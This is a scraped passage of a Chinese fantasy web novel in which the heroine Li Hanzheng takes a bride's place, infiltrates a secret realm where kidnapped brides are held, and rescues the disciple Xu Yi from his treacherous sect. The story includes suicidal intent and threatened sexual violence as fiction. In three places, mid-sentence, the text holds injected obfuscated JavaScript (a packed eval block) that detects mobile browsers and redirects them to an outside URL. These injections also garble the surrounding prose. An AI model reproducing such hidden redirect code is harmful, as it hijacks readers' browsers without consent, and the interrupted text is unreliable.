她没有争辩,沉默地听着那些泼在她身上的污水,直到最后,她也只是轻轻问了一个问题,得到答复后,没有哭闹没有挣扎,毫不留恋地离开了。 现在想来,当时的她,该是怎样的难过? 一腔情深被践踏,满心期许零落成灰。 她从来不用善良标榜自己,但却身体力行地帮助他人。她从来不声嘶力竭招摇她的情深,只是体面地、沉默地转身离开。 然而可想而知,她的内心一定早已千疮百孔,满目疮痍。 洛意突然有些哽咽。 她怎么能误会这样一个人 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她有一个可怕的猜想,如李寒筝这般宁折不屈的执拗性子,会不会想不开自尽呀? 想到这个可能,洛意声音里染上泣音:“她会不会想不开呀师姐……” 裴玉仪也想到了这个可能,脸色微微一变:“我在她身上画了定位咒,我们现在便去寻她。” 段梧声:“……” 他在心中长长、长长叹了一口气。 李寒筝是给这三个人下蛊了么? * 南熙城。 柳然走进堂屋,一脸紧张:“姐姐,你说我演得行不行?有没有做好小姐给我的嘱咐?” 柳轻撂下手里的书,她正在学着认字,每日里看着这些奇形怪状的东西就脑壳嗡嗡响,敷衍道:“演得不错,毫无破绽。” 柳然哼了一声,有些不大相信。 半月前,她收到了小姐寄来的一封信,托她日后若是遇见有人来问,便按照信中内容来说。 信中内容有些奇怪,什么捡到重伤失忆的男子,什么和齐朔的婚约只是不得已而为之,她都不是很理解。 但是小姐这样善良这样好,她说的话肯定都是对的,她只要乖乖照做就好了,也算报答小姐对她的恩情。 柳轻看着这傻丫头,嗤笑了一声:“乐什么呢?” 柳然捧着脸,认认真真道:“姐姐,你可得好好学,这可是小姐从宛州给你找来的练功秘籍,小姐说这可是她花了大价钱买的,专门咨询了出身大家族的弟子,很适合你的体质。你学好之后,要长长久久地保护我陪伴我哦。” 柳轻扑过去将自家妹妹的头发揉成鸡窝,柳然没一会便哼哼唧唧说投降。 柳轻弯起唇角,轻声道:“当然了,傻妹妹。” 窗外春风染碧,草长莺飞。 属于她们的时间会很久很久呢。 21. 入我之局(8) 追踪符实际上是两张符,分子符和母符,子符定位,母符追踪。裴玉仪将追踪母符折叠成千纸鹤,一吹,千纸鹤便飘起来,追踪着子符的方位而去。 几人跟着追踪符,来到了离暮山千里之遥的一条小溪边。 溪畔只有一位少女正在洗衣,年纪看起来只有十六七岁,她一边哭一边揉搓着衣服,看起来好不可怜。 千纸鹤慢慢飘向她手中搓洗的衣服,坠了下来,这代表它已经找到子符了。 那日大殿对峙事发突然,李寒筝转身便要离开,裴玉仪不好阻拦,但是留了个心眼,为了以防万一在寒筝腰间的香囊里塞了一张追踪符。 如今看来,塞了追踪符的香囊在那件衣服上。 裴玉仪走到浣衣少女身边,道:“你手里的衣服,是谁的?” 浣衣少女被突然出现的人吓得惊了一惊,眼圈红通通的,防备道:“你是谁?” “别怕,”裴玉仪指着她手中的衣服:“这衣服是我朋友的,为什么会在你的手里?” “李姐姐是你朋友?”浣衣少女怔了一怔,眼睛里突然烧起一簇愤怒的火苗,“那你知不知道辜负李姐姐的负心汉是谁?” “负心汉”这个词一出,其余两人的目光齐齐钉在了段梧声身上。 旁听的段梧声:“……” * 为了不必要的误会,到底还是没有点名负心汉是谁。 浣衣少女名叫白卉,她纤细的手捧着明黄色的衣服如同珍宝,一点也不肯让别人碰,仔仔细细放在竿上晾起来,抚平每一根褶皱,又将腰间的香囊玉佩认认真真挂好。 衣裙在风中轻轻飘摇,带着淡淡的皂角香。 白卉抹了一把泪,小声道:“李姐姐说她一定能活着回来的,叫我帮她把衣服洗干净。” 什么叫做“一定能活着回来”,究竟是什么情况下能说出这种话? 裴玉仪联想到某种可能,声音中带了点严肃:“白卉姑娘,请你现在立刻告诉我们寒筝的下落,若是发生不测,我们也能够及时赶到。” “果真?” 白卉满是泪花的眼睛里迸发出一缕光,她不敢耽搁,急忙把自己所知道的说了出来。但是她年纪小,脸皮薄,说话一急便有些颠三倒四。 众人听了许久才理出前因后果。 原来,此地名叫半桑坡,是一个十分繁华的地方,地处平原,雨水丰沛,便于养蚕耕种,盛产丝绸,人口众多往来贸易十分繁荣。 然而自五年前开始,便陆陆续续有新娘开始失踪。 奇怪的是,花轿外部完好无损,内部也没有挣扎痕迹,轿夫们甚至没有一点察觉,直至送到了夫家掀开轿帘的时候,才发现新娘子失踪了。 半桑坡属于修仙大宗衡元宗的地盘,发生此事后当地居民便联合上书向衡元宗求助。 也不知是衡元宗不用心追查,还是凶手太过狡猾难缠,五年之间,发生了几十件新娘失踪事件,衡元宗却仍是没有追查到凶手。 听到这里,洛意问道:“既然有了多起新娘失踪事件,干嘛还要举办婚礼?岂不是方便了凶手得逞?” 白卉道:“大家也想到了这一点,无可奈何地选择了不举办婚礼,然而,那些不举办婚礼直接送入夫家的新嫁娘还是被掳走了,就在成婚前一夜。” 无论举办不举办婚礼,仍是有新娘被掳走。然而由于并不是所有新嫁娘都会被掳走,大约十次嫁娶中有三名被掳走,因此有些人家便存了侥幸心理,依旧将女儿嫁了出去。 这听上去不太合理,只是凡人女子的宿命大多是相夫教子,年纪大了便没有人家要,一直待在家里固然安全,但是街旁邻里都会说闲话。是以父母就算再是不舍,也只能冒着巨大的风险将女儿送上花轿。 然而,事情在一月前发生了转机,衡元宗查出真凶,原来一切皆是西磨山上的土匪所为。 既然查出了真凶,衡元宗便着手开始处理,一锅端掉了西磨山上的土匪窝。 百姓们本人人自危,现下危机解除,便热热闹闹地开始举办婚礼。 白卉的父母也给她许了一门人家,是当地一名财主的大儿子。可是白卉不想嫁,一来,那人是出了名的浪荡凶厉,二来,白卉总是害怕那群掳走新娘的山匪会卷土重来。 可是父母并不在乎她的意愿,只在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177316|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎能够收到的聘礼。 白卉灰心之下,走到了溪边,准备投溪自尽。 “就是这个时候我碰见了李姐姐,”白卉低着头,眼睛不受控制地湿润了,“李姐姐耐心地听我说完了前因后果,然后她说,她来替我嫁。” 听李寒筝这样说,白卉连连摆手拒绝了。 她虽然不想嫁,但是并不想以其他女子的一生为代价,况且,李姐姐是这样的好,肯听她说话,肯安慰她。 但是,紧接下来李寒筝说了一句令她十分震惊的话。 白卉一字一句复述:“李姐姐说,她本来就想要自尽,帮我走一趟也不算浪费。” 洛意的脸色霎时一白,低声喃喃道:“她果然……她果然还是……” 白卉没有注意到其他人的神色变化,沉浸在悲伤的情绪中继续往下说。 那是前天晚上了,当空一轮圆月,皎洁明亮,溪水折叠月光,哗啦啦流淌。 白卉问为什么。 那个萍水相逢的姐姐望着溪水,好看的眉毛皱起来,眼睛里带着几分白卉不懂的愁绪,她笑了下,白卉觉得那个笑容很是苦涩,然后她说:“我有一个心上人,他在很远很远的地方,托梦告诉我他很孤单,所以我想去陪着他。” 洛意背过身去,忽觉鼻头酸楚。 她知道现在不是哭的时机,一下一下呼着气缓解。 李寒筝当时是如何心境呢? 大约是,她终于明白,她千辛万苦找到的段仙君再不是她捡到的阿梧,她捡到的阿梧已经消失了。 但是阿梧一直活在她的心里。 她可能觉得她不是去自尽,而是去找她的心上人,仅此而已。 白卉轻轻吐出一口气,“我仍是没有答应,然后李姐姐找到了我的父母。” 她顿了好久,手指攥到发白,才颤抖着开口,又是哭又是笑,“我父母,哈,他们俩多精明啊,既然能白白得一分聘礼,还不用付出什么,立刻就答应了。他们把我锁了起来,另一天一大早就吹吹打打把李姐姐送上了花轿。” “然后,”白卉哽咽着道:“然后花轿送到目的地,李姐姐已经消失了。” 22. 朱衣血祀(1) 时间倒回到前一天。 身体像浮在海里,晃晃荡荡,有什么东西在脸上一下一下啄,痒痒的。 李寒筝的意识渐渐回笼。 她睁开眼,四下打量一番,推测出自己可能正坐在一个马车里。 李寒筝慢慢追溯着自己的记忆,她代替白卉上了花轿,花轿吹吹打打晃晃荡荡走出了好远,然后突然一阵凉风从帘栊缝隙吹进来,记忆在这里就截止了。 看来那阵风里有迷药。 车帘晃荡着微微拂起,透进一丝光亮,隐约能分辨出有两个人坐在车架上,你一言我一语地说着话,应是负责看守运送她的人。 李寒筝刚想坐起来,没成功,她发现自己的手脚都被绑了起来,绳结上贴着符纸,李寒筝试着动了动手脚,发现丝毫都动弹不得,估计符纸上有禁制,避免被绑的人自行挣脱。 系统小鸟站在她的肩膀上,幽幽道:“我总是觉得你这个人很奇怪,莫名其妙跑到这里来。” 系统本来是个高冷的性格,这下也不得不变得话多了起来:“不知道你有没有意识到一件事呢?你是一个没有丝毫法力的凡人,随便一个修士过来,就可以把你碾死。” “我是凡人,怪谁?” 系统于是不说话了,李寒筝小声道:“快点帮我把符纸给揭了。” 系统幽幽看她一眼,张开翅膀飞过去,叼住符纸,扯开。 手脚能活动之后,不到三分钟,李寒筝便解开了绳索。 系统有些诧异:“这绳结看起来颇为复杂,你怎么解得这么流畅?” 一被夸,李寒筝的笑容就咧了起来,好在还记得有人看守,小声道:“我曾经被绑过一次,然后就立誓破解天下所有绑法,这才哪到哪。” 此时,一个看守道:“先停一下,我要下去小解。” 另一个看守嘿嘿笑了两声,“去吧。” 而后马车便停下了,一个脚步声慢慢走远。 留下来的看守百无聊赖地折了一根树枝放在手里捋,捋到一半,转过身,撩开帘子看了眼。 穿着红嫁衣的女子沉沉睡着,手脚都被绑得好好的。 看守摇摇头有些好笑,自己疑心太重了。 新娘们吸食了特制的迷药,手脚又被绑得严严实实,绳结上还贴了束缚手脚活动的符纸,怎么可能还出意外呢? 此时,侧边突然传来轻微的一声响,像是有什么东西掉下去了。 看守下意识往侧边一看。 与此同时,一只纤细的手迅速从车帘里伸出来,在他背后一拍。 看守顿时眼睛一闭,意识消弭。 他的背后贴着一张昏睡符。 片刻后,下车小解的看守王乙哼着小曲回来了,他看见自己的搭档正靠着马车打起了瞌睡,顿时起了玩弄心,悄悄地走过去,打算好好吓吓他。 谁让他玩忽职守,看守着新娘呢,竟然还打起了瞌睡。 王乙慢慢靠近,忽然感觉背后被人拍了一下。 他刚想转头,整个人就倒了下去,背后同样也贴着一张昏睡符。 李寒筝站在王乙身后,觉得自己真是太聪明伶俐了。 她蹲下来,在王乙的身上翻检着,摸出了一块身份牌,上面写着“王乙”二字。 李寒筝将身份牌在手里抛了几下,眼睛一转,想出了一个新主意。 她先是用解下来的绳索以同样的方法把王乙五花大绑,然后握着一把匕首抵在王乙的脖子上,最后将王乙身上的昏睡符一撕。 王乙很快就悠悠转醒,睁眼就看见被绑新娘笑盈盈的脸,王乙顿时便想大声示警,然后便感觉脖间一个冰凉且坚硬的东西威胁性地凑近一分。 王乙颓了,求饶道:“姑娘放过我吧,我知道这事伤天害理,但我也是给人家干活,逼不得已呀。” 李寒筝用刀刃拍了拍他的脸,凶神恶煞道:“说,这里是哪里?” 王乙小命被人捏着,只好道:“这里是一处秘境,但是隶属于谁、由谁掌管我全部都不知道,我只是一个负责把新娘送到华灵宫的打杂的,还是第一次运送,惨的嘞,第一次就遇见姑奶奶您。” 他卑微道:“姑奶奶,念我是第一次,您就放过我吧,我以后再也不干这事了。” 李寒筝笑容满面回了一句“好呀”,然后就把昏睡符往王乙身上一贴。 片刻后,王乙穿着红色的嫁衣被五花大绑躺在了马车里,李寒筝理了理身上的黑衣服,撕下了另一名看守的昏睡符。 看守很快就醒了,迷迷糊糊道:“我怎么睡着了?” 李寒筝颔首:“可能是太累了吧,不妨事,我们现在就出发吧。” 这名看守保持着一贯的警惕心,掀开车帘看了一眼,没发现什么异样,驾驶着马车往前行驶。 李寒筝有一下没一下地抛着腰间的身份牌。 好在她带的符纸足够多足够五花八门,易容符,噤声符,昏睡符,应有尽有。 那么,就拜托王乙同学帮她当几天的新娘了。 现在开始,她是王乙。 * 马车行驶到中途,前方隐隐传来嘈杂之声。 另一名看守仔细听了听,道:“好像是有一名新娘逃出来了。” 李寒筝漫不经心地应了一声。 眼角余光却落在某一个地方。 草丛里,穿着红嫁衣的女子目光镇静地和她对视,竖起一根手指在唇前,比了一个嘘字。 “你在看哪里?”另一名看守疑惑地转过头来。 李寒筝没回答,干脆利落地再次给这名看守贴了张昏睡符。 将看守的身形摆成沉思的模样后,李寒筝跳下马车,走进草丛里,半蹲下来,询问道:“你是谁?能从华灵宫逃出来,你是修士么?” 女子似乎受了很重的伤,白皙的额头上浮着一层冷汗,嘴唇也苍白如纸,像是强弩之末。 “你是被强迫干这个活的吗?”女子见她没有揭发,显然把她当成了可以劝服的人,她强撑着涣散的精力,道:“我叫许易,你应该听说过我,我是衡元宗的大弟子,这次是来调查新娘失踪一事……” 话还没说完,女子已经坚持不住,昏倒了过去。 李寒筝神色怪异地轻啊了一声。 原文中,这段剧情其实发生在五年后。 衡元宗一夜之间被灭满门,震动了整个修真界,而灭了衡元宗满门的正是衡元宗的大弟子,许易。 据说许易本是衡元宗最有天赋的弟子,但是某一天他的修为却突然开始下降,直接倒退回二境修为。 天之骄子一朝泯于众人,再次出现在大众视野却已经入魔,灭了衡元宗满门。 有人推测,许易是因为自卑和嫉妒,所以在入魔之后竟然将怒火对准了养他教他的宗门。 事实真相无人清楚,在原文的这一段剧情中,许易是个彻彻底底无需洗白的反派。 由于许易修炼的是能够吸食他人法力的邪术,而且他已经将衡元宗从掌门到弟子的修为吸了个干干净净,因此他是个很强的反派。 主角团在他手里讨不到半点好处,伤的伤,晕的晕,幸好剧情之力发作,他们无意中找到了一个秘境,这才缓了半口气。 为了杀掉许易,主角团付出了很多代价,裴玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177317|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪激发了凤凰血脉,段梧声不顾禁制开了半魔状态,袁期打到最后几乎只剩一格血,这才重伤许易。然而这样还不够,毕竟只是重伤,而主角团已经残血了。 最后是许易不知道发了什么疯,没有躲开段梧声的剑,被当胸捅死了。 书友们是这么解释的,作者嗑药一样写嗨了,为了圆回剧情所以给反派强行降智。 而在这段剧情中,主角团避难的秘境里恰好也有一个华灵殿,看来她现在所处的秘境就是书中的秘境。 可是原文中,许易不是个男的么? 手指搭在许易的衣襟上,稍稍往下拉了点,李寒筝是个懂礼貌的好孩子,于是她礼貌地问了一句:“可以吗?” 没有回答。 那就是默认了。 李寒筝半眯着眼看了下。 确定了,是男扮女装。 * 许易猛地睁开眼,四四方方狭小而逼仄的牢房,漆黑,阴森,女孩们在黑暗中哭泣着,空气中弥漫着腐朽的血腥味。 烛火将铁栏的影子一条一条拓下来,那张漂亮得雌雄莫辨的脸在光影栅栏中轻扯嘴角,无声地大笑起来,眼角却倏地坠下泪水。 又回到这里了。 他费尽千辛万苦,不知多少筹谋观察,好不容易寻到一个机会逃脱,但仍是没有把消息送出去。 许易脑海中浮现出一张眉眼带笑的脸。 在草丛中晕倒过去后,他的意识并没有完全消散,依稀记得那个看守油腻地伸手在他胸口上蹭了一把,动手动脚,还虚伪地问他可不可以。 阴险小人! 那个阴险小人占够便宜后站起身,居高临下地看着他,沉默了一会,高声道:“她在这里。” 是那个看守举报了他。 许易闭上眼睛,心头苦涩与无力汹涌,浑身都在发冷。 如果这样都不能成功,他要如何才能救这些无辜女子出去呢? 曾经他天赋卓越,修为高深,想要突破这样的牢笼不过动动手指。而今,却只能够龟缩于此。 许易啊许易,你怎么这么没用? 交谈声从牢房外的甬道传来。 牢头讨好道:“大人,有什么吩咐?” 侍卫暧昧地笑了一下:“管事今晚,想找个人说说话。” 牢头瞬间意会了。这样的事情时有发生,毕竟新娘们一个个都生得水灵,其中不乏很有姿色的。 反正这群新娘只要活着就行了,怎么折磨上头人都不管。 侍卫在牢头腰带里塞了东西,笑道:“管事看上了今天逃出去的那个,想要好好审问一番,我要带她走一趟。” 牢头也笑了。审问么,再正常不过,只是怎么审问就看管事了。 牢头领着侍卫走到许易的牢房前,掏出钥匙开锁,一边道:“大人押送的时候小心些,这一位性子刚烈得很,今天上午不注意让她给逃了,好不容易才逮回来。不过现在估计迷药的效力还没散呢。” 许易心中一片寒凉,他体内的药效确实没散,因此现在甚至连挣扎的力气都没有。 他自嘲地勾了一下唇。 可是他早就是废人之身了,还能如何呢? 侍卫架起他的身子,带着他绕过曲折的甬道,走出牢房,最后送入一间屋子,将他放置在一张床上。 他头朝着下躺在柔软的被褥上,视角受限,只能屈辱地闭起眼睛。 侍卫完成任务,不知向谁道:“大人,就是她了。” 另一道声音粗犷而厚重,应该便是他们口中的管事,他道:“不错,这丫头身材很带劲,我很喜欢。你先下去吧。” 23. 朱衣血祀(2) 门被轻轻带上,沉重的脚步声慢慢靠近。 许易在指尖积蓄着灵力,想着宁愿同归于尽也不愿受此屈辱。 “你是想要偷袭么?”管事道。 被看破了?许易心中有些绝望。 管事在空中撒了一把药粉,微带着苦味的药粉很快便顺着呼吸进入他的鼻腔。 许易心想,又是另一种迷药么? 此时,管事像是终于等不及了,将他扒拉过来,许易也终于得以看见管事的真容。 不出所料,又矮又胖的身材,满脸横肉,油腻而恶心。 许易闭上双眼,恶心得不愿多看一眼。 突然,一个明澈的女子声音道:“对不住啦,出此下策,别见怪。” 许易猛地睁开眼,管事朝他眨眨眼,笑了一下。 这一笑干净得好似清泉,只是由这么个丑陋面孔做起来,说不出的怪异。 管事哦了一声,反应过来,撩开衣摆在腿上撕下什么,一瞬间,面目丑陋的管事变成了一个貌美的姑娘。 这出大变活人委实出人意料,心情上下起伏猛地拐了个垂直的弯,许易顿时震惊在了原地。 “我叫李寒筝,”姑娘理了理衣摆,“方才撒的是解药,你现在应该可以运转灵力了。” * 这一天的经历还是有点曲折的。李寒筝把逃跑的新娘给找着了,受到了管事的嘉奖。 李寒筝看着管事作威作福横行霸道的样子,心想她或许可以捞一个管事当当。 于是她拜托系统变成蜘蛛在管事的酒里下了点药,然后偷摸溜进了管事的房间。 于是成为了管事。 替代一个人,最重要的是心里不露怯,要理直气壮,不能害怕目光接触,李寒筝大摇大摆地顶着管事的面容,吩咐这吩咐那,作威作福,愣是没有一个人发现。 李寒筝很满意。 许易尝试着运转体内的灵力,发现身上的僵硬无力感已经褪去,他撑着床铺,缓慢坐起来,郑重道谢:“多谢姑娘。” 本以为山穷水尽,却未想柳暗花明。 “不用谢,”李寒筝聊闲话般道:“对了,今天举报你的也是我。” 闻言,许易身子猛地僵住了,他盯着李寒筝,眼中划过种种情绪,胸口不住起伏。 滔天的愤怒和几分说不清的被愚弄感充斥着他的脑海,可是一瞥见李寒筝眼中的清明,他好似悬崖勒马,醍醐灌顶,那些戾气尽数消散。 良久,许易苦涩地扯起唇角:“李姑娘是担心我一个人重伤而死吗?” 他重伤到那种地步,再逃便是一个死字,反而回到牢笼,还能得到救治,苟活一段时日。 “只是,”许易道:“李姑娘,我早已是个废人,这幅性命又有什么可惜,只是此地被关押着许多无辜可怜的女子,我知道这个请求很冒昧,但是,如果可以的话,姑娘可不可以帮我将讯息传递给衡元宗?那是在下的师门。” 李寒筝撑着下巴,目光定在许易一派真诚的目光。 她感觉许易很好懂的样子,是那种非常正派的好人,他一定从小就读着圣贤书长大,受着长辈的谆谆教导,看见弱者被欺负便会拔刀相助,遭遇困难之境便会身先士卒。 一点也不像原文中修为倒退后便怨气满身的人,所以,是修炼魔功将他变成了一个杀人不眨眼背叛师门的魔头了么? “这可不行,”李寒筝又将那张易容的符纸贴到小腿上,“我是一个凡人,没办法帮你传递讯号。” 许易没想到是这个回答,一时哑然,神情颇为复杂。 这位姑娘在陌生的华灵宫混得这般如鱼得水,甚至代替了管事的身份,竟然是个丝毫没有灵力的凡人么? 再次变成管事模样的李寒筝站起身,从储物囊里掏出一堆瓶瓶罐罐,堆在床上。 许易看着小山般的瓶瓶罐罐,一时不知这位李姑娘是什么路数,迟疑道:“这是?” 李寒筝捧着脸,“从我朋友那里薅过来的药,你看哪些能够用得上,随便用,不要钱。” 许易轻轻别过脸,不让李寒筝看见他眼中的一抹湿润,许久,才轻轻道了声:“多谢。” 自他修为倒退,便许久没有接受过这样纯粹的善意了。 * 袁期的药果然好用,许易挑拣了一些丹药服下,打坐片刻,面上恢复了血色,看着没有之前那么苍白了。 刚恢复一些,许易便着手画联络符纸,他的修为只有两境,但是联络符纸是四境修士才能画出的符纸。 强行跨阶很是困难,他一连画了十几张都没有成功,反而本就不多的灵力被抽干,脸色煞白,吃了丹药缓了一会,才成功地画出了一张传讯符。 许易传递出消息后,此前的灰败和颓丧一扫而光,焕发出一点光彩,道:“我师弟是掌门之子,一直嫉恶如仇,听到我的传讯后,一定很快便能赶来。” 李寒筝嗯了声,配合着道:“一定会很快就来的。” 通过闲聊,李寒筝也大致了解了点许易的过往。 许易六岁时父母因断生之战而死,而后被衡元宗掌门萧景收为亲传弟子抚养长大,自小便展现了卓绝的天赋,修为进步远胜旁人。 然而自从他的修为一夕倒退之后,曾经追捧讨好他的人突然之间全部疏远,唯有掌门和师弟萧含仍旧待他如同往常,掌门更是三天五日鼓励他,嘱咐他安心修炼,有朝一日定能恢复原来的修为。 后来出现半桑坡的新娘失踪案,衡元宗负责此事的执事长老认为是山匪掳掠,但是许易却认为并非如此简单,但是他修为已废,没人会将一个废人的话放心上,掌门也没有什么办法。 许易曾经是衡元宗的首徒,虽然现在不是了,但是他仍旧抱有着当初的责任心,在他心中,修士吸收天地荟萃之灵气,占了诸多好处,理应帮助弱小。 既然执事长老不许,许易也并不想拖累旁人,便独自一人下山,男扮女装伪装成新娘上了花轿,想着以身诱敌,拿到确凿证据之后再向宗门禀告。 * 一个时辰后,传来敲门声。 门外站着的是一个长相周正相貌英俊的男子,见到许易后,他的眼睛亮了亮,忍不住露出得意的笑容:“师兄,果然你猜测的没有错,新娘失踪的幕后黑手另有其人。” 许易后退一步,脸色白了白,勉强笑道:“你怎么会来的这样快?” 这太不对劲了,如果是衡元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177318|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗带领弟子闯入秘境,怎么可能如此快,又怎么可能如此安静? 萧含半张脸落在阴影里,闻言目光闪了闪,原本正直的笑容便显得阴森,混合着憎恶与嫉妒,“当然是因为,我一直在秘境里了。” 话落,他扬起手臂动了动手指,瞬间一阵剑刃出鞘的嗡鸣,自萧含身后的黑暗中走出许多穿着黑色劲装的侍卫,手持锋利长剑,杀气凌冽。 刀尖全部对着许易。 “哈。”许易摇着头苦笑一声。 事已至此,他什么都明白了。 难怪执事长老咬死是山匪作乱。 难怪一向公正的掌门竟然采取着模糊不明的态度,他竟还天真地认为是掌门不好越俎代庖。 原来新娘失踪案,根本就是衡元宗所为。 许易挺直的脊背塌了几分,他抬起眼,盯着萧含,含着最后一丝希望问道:“掌门也参与了么?” 萧含勾唇嘲讽地笑了一声:“你说呢?” 最后一丝希望破裂,许易往后踉跄几步,不由掩面苦笑。 真是可笑啊,掌门的亲儿子都出现在这里了,掌门怎么可能没有参与呢? 萧含欣赏着许易脸上的绝望,心情十分美妙。 心中一直堵着的一口恶气此刻酣畅淋漓的出了。 瞧瞧,曾经的天之骄子许易,衡元宗的大师兄,年纪轻轻便修为高深,所有人谈起衡元宗,都只能看见许易的光辉,而完全看不见他的。 “你这个废人,”萧含目光里是不加掩饰的轻蔑:“我每天跟你虚与委蛇演着好兄弟,可真是让我恶心坏了,谁愿意跟你这个废人说话,告诉你,你给我提鞋都不配。” “自以为是的正义心,全天下的好人都让你当了,全天下的风头都让你出了,哈哈,你可真行啊!什么宗门骄傲天之骄子,都是假的!你根本就是虚伪!恶心!你不就是想要别人夸赞你么?” “要不是你还有些利用价值,父亲拦着不让我杀你,我才不愿和你这么个矫饰伪行的蠢货说话呢!” 萧含哈哈大笑:“只怕你现在还蒙在鼓里吧,你的修为,就是你一心信赖的师尊亲手所为,可笑你还浑然不知!” 每一句话,都像一根利箭扎进许易胸口,他整个人都摇摇欲坠,脸上的血色褪了个彻底,低声喃喃道:“对不起,李姑娘……” 萧含的目光落到许易身后的同伙,那是一个漂亮的女孩,眼睛如同熠熠生辉的宝石,自成一派不屈的生命力和勃勃的生机。 萧含最是知道他这个师兄的软弱。 许易是宁愿自己死,也不愿牵连旁人的,更何况是救他于水火的恩人。 那若是他玷污了他的这位同伙呢? 兴奋感如同过电般瞬间充斥着整个身体,萧含光是想想那个画面就爽得头皮发麻,他走进管事房间,慢条斯理道:“把许易给我抓起来,砍去四肢,至于里面那个美人,可别伤着了,绑起来我要好好享用。” 听到最后一句话,许易骤然一口血喷出,眼里是刻骨的憎恨,恨不得目光变成刀子将萧含碎尸万段,怒声道:“你敢!” 萧含更兴奋了,拍拍手,笑得十分恶劣。 一字一句道:“我看我敢不敢。” 24. 朱衣血祀(3) 李寒筝盘腿坐在塌上,轻轻打了个哈欠。 管事的房间内,此刻横七竖八躺着一地人,正是方才还张牙舞爪洋洋得意的萧含,以及他的手下们。 铜镜中实时投映着萧含的梦境,此时萧含正在哈哈大笑,自以为掌握一切,爬上了人生的巅峰。 系统翻过一页书,道:“你怎么这么无聊?他的梦境有什么好看的?” 李寒筝撑着脸,头一次十分认同系统:“确实很无聊。” 许易低头看着自己曾经握剑的手,张开,又握紧,却再也没有从前那种灵力奔涌的感觉,他轻扯唇角,自嘲地笑了下。 活了百载光阴,而今才幡然醒悟,原来,他从来都没看清过身边的人。 他一直认为他的师弟萧含是个勤勉正直待人平和的正道修士,如今看着萧含交杂着嫉妒和鄙夷的脸,不免一阵恍惚。 原来他的师弟从来都是这种人么?如同披着一张皮。 他低垂下眼,声线沙哑而苦涩:“李姑娘,谢谢你。” 李寒筝看着许易失魂落魄的模样,无声叹了口气。 曾经信任的人却从来没有把自己当成朋友看待,曾经尊崇的人却是坑害自己的罪魁祸首。 世界观一夕倾覆,换做谁心里都会不好受。 关于原文中许易入魔的原因,李寒筝有两个猜测。 第一,许易重伤逃出华灵宫,但是却没能逃出秘境,消息也没能传递出去,被秘境主人抓了回去,在绝望之中选择入魔。 第二,许易重伤逃出华灵宫,而且将消息传递了出去。在这种情况下,许易仍旧入魔,那么只能是搬来的救兵其实就是凶手这一种可能了。 李寒筝并不了解衡元宗,不好进行判断。但是出于谨慎考虑,李寒筝在管事房间的门口放了许多迷药,又在迷药之中混入南柯。 只能说不愧是袁期出品的迷药,萧含等人一踏进管事房间,便已经进入了梦境。 李寒筝从储物囊中抽出一沓稿纸,这是当初在南熙城写给李恪的剧本,现在,她打算免费无偿让萧含体验一下这个剧本。 唉,她可真是一个好人。 她拿着稿纸在许易眼前晃了一下,等许易回过神,笑眯眯道:“你想不想看一下我写的剧本?就叫做……嗯……《九千九百次虐他——相爱跨越万难》。” * 一般而言,看虐心剧会让人觉得欲罢不能又火冒三丈,但如果主角是很讨厌的人,那么不仅不会觉得火冒三丈,还会很欢乐。 看剧自然要搭配美食,李寒筝在储物囊放了各色厨具和食材调料,储物囊中时间静止,因此蔬菜肉类也没有腐烂。 夜深露重寒气逼人,正适合吃火锅,李寒筝觉得既然她出了材料,那么合该许易做苦力,便心安理得地支使着许易忙上忙下。 片刻后火锅沸腾,麻辣清汤双拼,一半火红,一半清透,滚滚冒着热气,扑在脸上暖得冷透的胃和眼鼻都在苏醒。 李寒筝捞了半碗肉半碗蔬菜递过去,许易愣住,一时没有接。 李寒筝歪了下头:“你不喜欢?” 许易连连摆手道:“不是……” “那便是我支使你让你不开心了?” 许易摆手摆得更快了:“不是的李姑娘,为你做这些我很乐意……” “那你为何不吃?菜要冷了,而且……”李寒筝叹了口气,“我的手很酸啊。” 许易呆了一瞬,手忙脚乱地接过碗,却仍没吃,捧着碗沉默了好一会。 李寒筝没去看许易,她捞了满满一碗肉,将铜镜里的梦境当成连续剧看,一边看一边吃,点评道:“不愧是我写的剧本,就是跌宕起伏。” 过了会,李寒筝像是看到趣处随口和同伴分享,“许易,你觉不觉得萧含有点傻,而且他哭起来真的很丑!” 梦境中发展到萧含被心爱之人误会,跪在地上攥着心爱之人的袍角苦苦解释,却被一脚踢开。 许易目光轻轻一动,凝视李寒筝的侧影。 其实他明白李姑娘的言外之意。 不必为了这种人而悲伤自苦。 隔着升腾弥漫的热气,李寒筝瞥过来一眼,笑着道:“快点吃呀,等会我们还有很多事要做呢。” 还有很多事要做呢,还有很长的路要走呢。 许易握紧了筷子,郑重地应了一声,将已经冷透的牛肉塞进嘴里,尝到了辛辣和咸香。 